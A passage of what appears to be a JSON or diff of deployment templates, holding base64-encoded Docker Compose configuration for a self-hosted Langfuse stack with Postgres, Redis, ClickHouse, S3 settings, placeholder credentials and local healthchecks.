CdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOmxhdGVzdCcKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0V